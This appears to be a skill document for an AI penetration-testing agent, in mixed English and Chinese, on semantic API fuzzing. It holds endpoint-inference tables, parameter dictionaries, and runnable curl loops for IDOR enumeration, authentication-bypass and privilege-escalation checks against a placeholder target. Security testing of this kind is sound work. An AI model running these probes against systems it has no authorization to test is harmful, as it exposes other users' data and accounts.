Unlike blindly running dictionaries, this skill usesendpoint semanticsto infer parameters and business logic, and precisely construct payloads.
⛔ In-depth reference (required reading)
- ⛔Required reading Common API parameter dictionary + Fuzz payload templates →
read_skill(id="api-semantic-fuzz", path="references/api-fuzz-payloads.md") - Authentication bypass techniques →
read_skill(id="api-fuzz", path="references/api-attack-techniques.md")
Phase 1: Endpoint semantic analysis
After obtaining the endpoint list, first analyze each endpoint'sbusiness meaning:
1.1 RESTful CRUD inference
发现: GET /api/users/123
推断:
GET /api/users → 列出所有用户(信息泄露)
GET /api/users/1 → 遍历用户 ID(IDOR)
POST /api/users → 创建用户(未授权注册)
PUT /api/users/123 → 修改用户(越权修改)
DELETE /api/users/123 → 删除用户(越权删除)
PATCH /api/users/123 → 部分更新(Mass Assignment)
1.2 Path semantics → parameter inference
| Endpoint pattern | Inferred parameters | Testing direction |
|---|---|---|
/api/users/{id} |
id (int) |
IDOR: enumerate 1-1000 |
/api/search?q= |
q (string) |
SQL injection, XSS |
/api/upload |
file (multipart) |
File upload bypass |
/api/export?type= |
type, format |
Path traversal, SSRF |
/api/config |
key, value |
Configuration tampering |
/api/execute, /api/run |
cmd, command, script |
Command injection |
/api/proxy?url= |
url, target, redirect |
SSRF |
/api/template, /api/render |
template, content |
SSTI |
/api/login |
username, password |
Brute force, SQL injection |
/api/reset-password |
email, token, code |
Logic bypass |
/api/pay, /api/order |
amount, price, quantity |
Amount tampering |
1.3 Naming pattern expansion
发现: /api/v1/user/info
扩展尝试:
/api/v1/user/list # 用户列表
/api/v1/user/detail # 用户详情
/api/v1/user/update # 修改资料
/api/v1/user/delete # 删除用户
/api/v1/admin/user/list # 管理员接口
/api/v2/user/info # 旧版本
/api/internal/user/info # 内部接口
Phase 2: Parameter discovery
2.1 Common parameter name dictionary
Grouped by business scenario (not blind running):
Identity category: id, uid, user_id, userId, account, username, email, phone
Pagination category: page, pageNum, pageSize, limit, offset, size, start
Query category: q, query, search, keyword, filter, sort, order, orderBy
File category: file, filename, path, url, filePath, dir, attachment
Authentication category: token, auth, session, key, apiKey, access_token, refresh_token
Operation category: action, type, method, cmd, op, status, role
2.2 Parameter existence probing
# 方法 1: 逐一添加参数观察响应变化
BASE="http://target.com/api/users"
# 基线响应
curl -s "$BASE" | wc -c # 记录长度
# 逐一测试参数
for param in id uid page limit search q role status; do
len=$(curl -s "$BASE?$param=1" | wc -c)
echo "$param → $len bytes"
done
# 长度/状态码变化 = 参数被接受
# 方法 2: POST JSON body 参数探测
curl -s -X POST "$BASE" \
-H "Content-Type: application/json" \
-d '{"id":1}' | head -5
# 观察报错信息——很多框架会提示缺少哪些参数
# "missing required field: username" → 参数名泄露
2.3 Content-Type variant testing
# 同一端点换不同 Content-Type 可能走不同处理逻辑
curl -X POST "$BASE" -H "Content-Type: application/json" -d '{"id":1}'
curl -X POST "$BASE" -H "Content-Type: application/xml" -d '<id>1</id>'
curl -X POST "$BASE" -H "Content-Type: application/x-www-form-urlencoded" -d 'id=1'
# XML 路径可能有 XXE,form 路径可能有不同的过滤规则
Phase 3: Intelligent Fuzz
3.1 Fuzz by vulnerability type
For each discovered parameter, select a payload based on its semantics:
参数名含 id/num → IDOR 遍历 + SQL 注入
参数名含 url/path/file → SSRF + 路径穿越
参数名含 search/q/query → SQL 注入 + XSS
参数名含 template/content → SSTI
参数名含 cmd/exec/run → 命令注入
参数名含 redirect/return/next → 开放重定向
参数名含 amount/price/qty → 业务逻辑(负数、零、极大值)
3.2 IDOR bulk verification
# 对数字 ID 端点做快速 IDOR 扫描
for i in $(seq 1 20); do
resp=$(curl -s -o /dev/null -w "%{http_code}:%{size_download}" "$BASE/api/users/$i" -H "Cookie: $COOKIE")
echo "ID=$i → $resp"
done
# 如果不同 ID 都返回 200 且内容不同 → IDOR 确认
3.3 Permission boundary testing
# 用普通用户 token 访问管理端点
curl -s "$BASE/api/admin/users" -H "Authorization: Bearer $USER_TOKEN"
# 200 → 垂直越权
# 去掉认证头
curl -s "$BASE/api/admin/users"
# 200 → 未授权访问
# 用 A 用户 token 访问 B 用户数据
curl -s "$BASE/api/users/OTHER_USER_ID" -H "Authorization: Bearer $A_TOKEN"
# 返回 B 的数据 → 水平越权
Phase 4: Response analysis
Key observations
- Error information → framework, database type, internal path leakage
- Extra fields → the API returned fields not displayed on the frontend (password_hash, internal_ip, role)
- Debug information →
debug=trueparameter may enable detailed errors - Response time differences → basis for determining blind injection/blind SSRF
- Abnormal data volume →
limit=-1orpageSize=99999leads to full data leakage
Response pattern comparison
| Response | Meaning | Next step |
|---|---|---|
{"error": "missing field: xxx"} |
Parameter name leakage | Complete parameters and retry |
{"error": "invalid type"} |
Type information | Try different types |
{"data": [...], "total": 10000} |
Large data volume | Try exporting everything |
500 + SQL stack trace |
SQL injection entry point | → sql-injection-methodology |
200 但空数组 |
Endpoint exists | Change parameters/method and retry |
Precautions
- Run semantic analysis before fuzzing; do not blindly send requests and waste time
- Focus onResponse differences——Only when different parameter values at the same endpoint return different results does it have value
- Management-type endpoints (
/admin/,/manage/) have the highest priority - After discovering one valid parameter, try combining other parameters (e.g.,
id+rolemay trigger Mass Assignment) - Immediately upon confirming each vulnerability
evidence_save+report_vuln